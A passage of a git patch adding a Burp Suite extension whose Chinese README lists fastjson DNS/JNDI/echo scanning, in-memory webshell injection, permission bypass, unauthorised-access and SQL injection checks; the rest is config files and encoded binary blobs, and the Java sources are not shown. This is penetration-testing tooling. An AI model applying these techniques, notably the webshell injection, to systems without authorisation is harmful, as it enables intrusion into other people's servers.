From a744edcbebb4cd892d2fcf94727eaaf1267e626d Mon Sep 17 00:00:00 2001 From: Night Date: Mon, 17 Jul 2023 11:12:32 +0800 Subject: [PATCH] Initial commit --- .gitignore | 38 ++ .idea/.gitignore | 8 + .idea/encodings.xml | 7 + .idea/misc.xml | 14 + .idea/uiDesigner.xml | 124 ++++ README.md | 83 +++ gather.db | Bin 0 -> 45056 bytes images/authcheck.png | Bin 0 -> 15973 bytes images/config.png | Bin 0 -> 18949 bytes images/fastjson.png | Bin 0 -> 17027 bytes images/prem.png | Bin 0 -> 28501 bytes images/sql.png | Bin 0 -> 27860 bytes images/tool-1.png | Bin 0 -> 4892 bytes images/tool-2.png | Bin 0 -> 3792 bytes pom.xml | 95 +++ src/main/java/burp/BurpExtender.java | 188 ++++++ src/main/java/burp/bean/Auth.java | 40 ++ src/main/java/burp/bean/Config.java | 61 ++ src/main/java/burp/bean/Fastjson.java | 49 ++ src/main/java/burp/bean/Perm.java | 56 ++ src/main/java/burp/bean/Sql.java | 34 + src/main/java/burp/dao/ConfigDAO.java | 166 +++++ src/main/java/burp/dao/FastjsonDAO.java | 89 +++ src/main/java/burp/dao/PermDAO.java | 86 +++ src/main/java/burp/dao/SqlDAO.java | 87 +++ src/main/java/burp/ui/AuthUI.java | 368 ++++++++++ src/main/java/burp/ui/ConfigUI.java | 300 +++++++++ src/main/java/burp/ui/FastJsonUI.java | 395 +++++++++++ src/main/java/burp/ui/MainUI.java | 54 ++ src/main/java/burp/ui/PermUI.java | 525 +++++++++++++++ src/main/java/burp/ui/SqlUI.java | 824 +++++++++++++++++++++++ src/main/java/burp/ui/UIHandler.java | 12 + src/main/java/burp/utils/DBUtils.java | 42 ++ src/main/java/burp/utils/RobotInput.java | 148 ++++ src/main/java/burp/utils/Utils.java | 183 +++++ src/test/java/org/example/AppTest.java | 38 ++ 36 files changed, 4114 insertions(+) create mode 100644 .gitignore create mode 100644 .idea/.gitignore create mode 100644 .idea/encodings.xml create mode 100644 .idea/misc.xml create mode 100644 .idea/uiDesigner.xml create mode 100644 README.md create mode 100644 gather.db create mode 100644 images/authcheck.png create mode 100644 images/config.png create mode 100644 images/fastjson.png create mode 100644 images/prem.png create mode 100644 images/sql.png create mode 100644 images/tool-1.png create mode 100644 images/tool-2.png create mode 100644 pom.xml create mode 100644 src/main/java/burp/BurpExtender.java create mode 100644 src/main/java/burp/bean/Auth.java create mode 100644 src/main/java/burp/bean/Config.java create mode 100644 src/main/java/burp/bean/Fastjson.java create mode 100644 src/main/java/burp/bean/Perm.java create mode 100644 src/main/java/burp/bean/Sql.java create mode 100644 src/main/java/burp/dao/ConfigDAO.java create mode 100644 src/main/java/burp/dao/FastjsonDAO.java create mode 100644 src/main/java/burp/dao/PermDAO.java create mode 100644 src/main/java/burp/dao/SqlDAO.java create mode 100644 src/main/java/burp/ui/AuthUI.java create mode 100644 src/main/java/burp/ui/ConfigUI.java create mode 100644 src/main/java/burp/ui/FastJsonUI.java create mode 100644 src/main/java/burp/ui/MainUI.java create mode 100644 src/main/java/burp/ui/PermUI.java create mode 100644 src/main/java/burp/ui/SqlUI.java create mode 100644 src/main/java/burp/ui/UIHandler.java create mode 100644 src/main/java/burp/utils/DBUtils.java create mode 100644 src/main/java/burp/utils/RobotInput.java create mode 100644 src/main/java/burp/utils/Utils.java create mode 100644 src/test/java/org/example/AppTest.java diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..5ff6309 --- /dev/null +++ b/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..13566b8 --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,8 @@ +# Default ignored files +/shelf/ +/workspace.xml +# Editor-based HTTP Client requests +/httpRequests/ +# Datasource local storage ignored files +/dataSources/ +/dataSources.local.xml diff --git a/.idea/encodings.xml b/.idea/encodings.xml new file mode 100644 index 0000000..aa00ffa --- /dev/null +++ b/.idea/encodings.xml @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml new file mode 100644 index 0000000..132404b --- /dev/null +++ b/.idea/misc.xml @@ -0,0 +1,14 @@ + + + + + + + + + + \ No newline at end of file diff --git a/.idea/uiDesigner.xml b/.idea/uiDesigner.xml new file mode 100644 index 0000000..2b63946 --- /dev/null +++ b/.idea/uiDesigner.xml @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..05c3208 --- /dev/null +++ b/README.md @@ -0,0 +1,83 @@ +# 目前功能 + +1. fastjson扫描 +2. 权限绕过 +3. 未授权检测 +4. sql注入检测 +5. 工具调用 + +# 使用说明 + +首次使用请先将数据库文件放到用户名目录/.gather/目录中 *!* *!* *!* + +首次使用请先将数据库文件放到用户名目录/.gather/目录中 *!* *!* *!* + +首次使用请先将数据库文件放到用户名目录/.gather/目录中 *!* *!* *!* + +请使用`mvn clean package`进行编译打包,生成的jar包在target/gather/目录下 + +请使用`mvn clean package`进行编译打包,生成的jar包在target/gather/目录下 + +请使用`mvn clean package`进行编译打包,生成的jar包在target/gather/目录下 + +皆可通过使用鼠标右键菜单,进行调用 + +![tool-1.png](images%2Ftool-1.png) + +![tool-2.png](images%2Ftool-2.png) + +# 功能说明 + +## fastjson扫描 + +![](./images/fastjson.png) + +> 使用前请先在config模块配置dns,ip并点击保存 + +1. 通过鼠标右键菜单,扫描dns,jndi,回显,注入内存马等 +2. dns扫描可以在数据库配置,type为dns,需要在替换dns域名的地方填写FUZZ,并在FUZZ前填写一个字符,如a.FUZZ,主要是为了区别 +3. jndi扫描可以在数据库配置,type为jndi,需要在替换jndi的地方填写FUZZ,jndi扫描会让你选择是使用dns还是ip +4. 回显扫描可以在数据库配置,type为echo,需要你填写执行的命令,默认是在请求头加Accept-Cache字段,响应是在响应头Content-auth字段 +3. 注入内存马。。。 + +## 权限绕过 + +![](./images/authcheck.png) + +1. 通过给uri中加入特殊字符绕过权限 +2. 通过给header中加入字段绕过权限 + +## 未授权检测 + +![](./images/prem.png) + +> 使用前请先在面板设置相关参数值 + +1. 通过替换低权限用户的cookie,来判断是否存在未授权 +2. 通过删除用户的cookie,来判断是否存在未授权 +3. 支持被动扫描 + +## sql注入检测 + +![](./images/sql.png) + +> 使用前请先在面板设置相关参数值 + +1. 通过添加特殊字符,来判断是否存在sql注入 +2. sql注入支持get,post,cookie,json等多种方式 + +## 工具调用 + +![](./images/config.png) + +> 使用前请先在面板设置相关参数值,并点击保存 + +1. 通过添加常用功能,来调用工具 +2. {host} 会被替换为当前请求的host +3. {url} 会被替换为当前请求的url +4. {request} 会保存当前数据包到用户名目录的./gather/目录下,进行调用 + + +# 后期计划 + +1. 如有想法,可以提issue \ No newline at end of file diff --git a/gather.db b/gather.db new file mode 100644 index 0000000000000000000000000000000000000000..1ed9c1184eb70872b28ef9dc7a76eba874fd574b GIT binary patch literal 45056 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 literal 0 HcmV?d00001 diff --git a/images/authcheck.png b/images/authcheck.png new file mode 100644 index 0000000000000000000000000000000000000000..48a1bfd40aac11c43ea57aa66a282328b242de11 GIT binary patch literal 15973 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 